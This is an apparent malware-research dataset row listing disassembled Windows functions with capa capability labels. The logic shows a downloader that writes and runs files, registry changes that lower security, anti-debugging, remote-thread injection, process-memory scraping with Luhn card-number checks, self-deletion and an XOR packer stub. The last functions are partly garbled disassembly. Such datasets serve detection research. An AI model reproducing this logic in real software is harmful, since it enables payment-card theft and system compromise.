joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402610
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407b74]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.004027d0
add esp, 8
test eax, eax
jne 0x40267b
xor eax, eax
jmp 0x4027c9
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004025b0
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407b0c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402766
cmp dword [ebp - 0xc], 0
je 0x402766
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
jmp 0x4026fa
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x407400
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014d0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407b0c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402ca0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x402d1d
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402d13
mov edx, dword [ebp - 0x12c]
cmp edx, dword [ebp - 0xc]
jne 0x402cff
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 8], eax
jmp 0x402d13
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402ce9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x402d40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
jmp 0x402d58
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x402d60
jmp 0x402d4f
call fcn.004033b0
test eax, eax
jne 0x402d70
xor eax, eax
jmp 0x402e49
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40679c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 4], 1
jne 0x402db2
jmp 0x402df9
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0x25
push 0x25
push 0
push 0x407b40
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x407b40
lea ecx, [ebp - 4]
push ecx
push 0
push 0x406770
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402df9
jmp 0x402df9
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4a
push 0
push 0x407640
call fcn.00401940
add esp, 0xc
push 0x4a
push 0x407640
push 0x407b40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407b40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.00403400
test eax, eax
je 0x402e44
call fcn.004033f0
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403250
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x403284
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
push 5
push 0x407224
call fcn.004033d0
add esp, 8
cmp dword [ebp - 8], eax
jge 0x40329f
call fcn.004033e0
jmp 0x40327b
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4032d2
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x4032d7
jmp 0x4033a3
mov eax, dword [ebp - 0x14]
push eax
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4068a8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push 0x4068ec
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40336c
jmp 0x40338f
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push 0
push str.1806
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
push str.Error
push str.Failed_to_open_registry_key
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret
Function at 0x403430
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x403448
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x44
push 0
lea eax, [ebp - 0x6c]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x40722c], 1
call fcn.004013c0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x403489
jmp 0x4034aa
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x407420
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 2
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x407228]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x10]
mov dword [0x407228], ecx
cmp dword [ebp + 8], 1
jne 0x403517
mov edx, dword [0x407230]
mov dword [0x407234], edx
mov eax, dword [ebp - 0x20]
mov dword [0x407238], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x40723c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x14]
mov dword [0x40723c], ecx
mov dword [ebp + 8], 0
jmp 0x4034cf
mov edx, dword [0x407b10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.004036d0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40353b
jmp 0x403573
mov edx, entry0
sub edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x403573
cmp dword [ebp + 8], 0
jne 0x403573
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x403600
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0
je 0x403642
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x403ec0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x4072c0
call fcn.00401940
add esp, 0xc
mov dword [0x4072c0], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x4072c0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x4072e4
call fcn.00404110
add esp, 4
cmp eax, 1
jne 0x403f1c
jmp 0x4040b3
mov ecx, dword [0x407230]
cmp ecx, dword [0x4072c8]
je 0x403f38
mov edx, dword [0x407230]
cmp edx, dword [0x4072d8]
jne 0x403f3d
jmp 0x4040b3
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4072c8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403f6d
jmp 0x4040b3
cmp dword [0x407b70], 1
jne 0x403f99
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407b78]
cmp dword [ebp - 0x20], 0
jne 0x403f99
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4040b3
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x4040a9
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403fe2
cmp dword [ebp - 0xc], 0
je 0x403fe2
jmp 0x4040a9
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403ffe
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x404000
jmp 0x403fa0
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x4040a4
cmp dword [ebp - 8], 0
je 0x404024
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x40402a
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x404048
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x404055
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x407240]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00404160
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404a80
add esp, 8
jmp 0x404007
jmp 0x403fa0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4072c0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403f05
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x405320
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x40539e
cmp dword [ebp - 8], 0
jne 0x405391
mov dword [ebp - 0x10], 1
jmp 0x405398
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x4053e5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x4053d0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x4053da
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x405382
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x4053fd
mov dword [ebp - 0x1c], 1
jmp 0x405404
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405c60
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.00405eb0
push 0
mov eax, dword [0x407b08]
push eax
call fcn.00405f10
add esp, 8
push 0
mov ecx, dword [0x407b04]
push ecx
call fcn.00405be0
add esp, 8
mov edx, dword [0x407b00]
push edx
call fcn.00405bf0
add esp, 4
call fcn.00405e40
push 0x4076a0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x405cb2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405cc0
Capabilities:
Create directory
Create process on windows
Create process suspended
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
call fcn.00405ed0
test eax, eax
jne 0x405e26
mov dword [ebp - 4], 0
call fcn.00405c20
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
and eax, 0x80000001
jns 0x405cf4
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x405cfc
jmp 0x405d0f
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00402610
add esp, 8
mov dword [ebp - 4], eax
lea eax, [ebp - 0x484]
push eax
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401340
add esp, 8
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x484]
push eax
push 0x406db0
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x484]
push edx
push 0x406dbc
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x30]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x405f10
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405f4d
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401e90
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x401ec5
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x401ec2
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x401ece
add edx, 0x28
cmp edx, esi
jne 0x401eb0
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x401ecb

Function at 0x402914
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402953
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402953
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402953
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402953
cmp dword [ecx + 0x74], 0xe
jbe 0x402953
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x412402
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41242e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4124cb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4124f5
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412470
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x4124fa
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4124f5
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x61df6382
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x16c32a7a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4021ae
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
push 0x58
mov edi, ecx
call fcn.0041f4ea
pop ecx
test eax, eax
je 0x475ec6
mov ecx, eax
call fcn.0040227e
mov esi, eax
mov eax, dword [edi + 0xf4]
mov dword [esi], eax
lea eax, [edi + 0x1d8]
push eax
lea ecx, [esi + 8]
call fcn.0040dcae
lea eax, [edi + 0x1e8]
push eax
lea ecx, [esi + 0x18]
call fcn.00406eed
mov eax, dword [edi + 0x98]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x310]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x1f8]
lea ecx, [esi + 0x38]
mov eax, dword [eax]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x318]
mov dword [esi + 0x34], eax
lea eax, [edi + 0x458]
push eax
call fcn.00406eed
mov eax, dword [edi + 0x468]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x46c]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x474]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xfc]
lea ecx, [ebp - 0x38]
mov dword [esi + 0x54], eax
call fcn.004027c7
push eax
mov eax, dword [edi]
lea ecx, [edi + 4]
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00402745
lea ecx, [ebp - 0x18]
call fcn.00412c20
lea ecx, [ebp - 0x38]
call fcn.00412c20
pop edi
mov eax, esi
pop esi
leave
ret
xor esi, esi
push edx
inc edx
mov dword [ebp - 8], edx
call fcn.00405e48
mov ebx, eax
test ebx, ebx
je 0x40585c
lea ecx, [edx - 1]
mov dword [0x4c1254], ecx
mov ecx, dword [ebx + 4]
mov edi, esi
mov eax, dword [ecx]
cmp word [eax + 8], si
jne 0x4057ae
cmp dword [eax], 0x20
je 0x4057e2
cmp dword [eax], 0x2b
jne 0x4057ae
cmp dword [eax], 0x2b
je 0x475e7c
xor eax, eax
mov byte [ebp - 4], al
mov eax, dword [ecx + edi*4 + 4]
or esi, 0xffffffff
cmp word [eax + 8], 0x34
jne 0x405884
push dword [eax]
lea ecx, [ebp - 0x1c]
call fcn.00406eed
sub esp, 0x10
mov ecx, esp
push dword [ebp - 0x1c]
call fcn.0040ce19
mov ecx, 0x4c1298
call fcn.0040bd30
test eax, eax
jne 0x405879
mov eax, dword [ebx + 4]
mov eax, dword [eax + edi*4 + 8]
cmp word [eax + 8], 0x47
jne 0x405884
dec edi
push dword [ebp - 4]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
add edi, 3
push ebx
mov dword [ebp - 0xc], edi
call fcn.004066d1
test eax, eax
js 0x40586a
mov edx, dword [ebp - 8]
jmp 0x4057ac
mov ecx, 0x4c1298
call fcn.00403b12
xor eax, eax
mov esi, eax
lea ecx, [ebp - 0x1c]
call fcn.0040cb37
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
push esi
push 0x84
jmp 0x475e88
push esi
push 0x69
jmp 0x475e88
push eax
push 0x69
jmp 0x475ead
mov byte [edi], cl
mov edi, 0x68500a40
xchg ecx, eax
call dword [0x8b18eb00]
push cs
inc edi
jmp 0x405834

Function at 0x402abe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x160]
mov bh, 0x60
add dword [eax], eax
add byte [ebx - 0xbba76fa], cl
je 0x402ad2
push dword [ebp + 8]
call fcn.00402b4d
mov ecx, edi
call fcn.004021ae
push dword [ebp + 8]
and dword [edi + 0x474], 0
cmpsd dword [esi], dword es:[edi]
je 0x402ae4
add byte [eax], al
add byte [ebx + 0xfca7], al
cld
add byte [eax], al
add byte [eax], al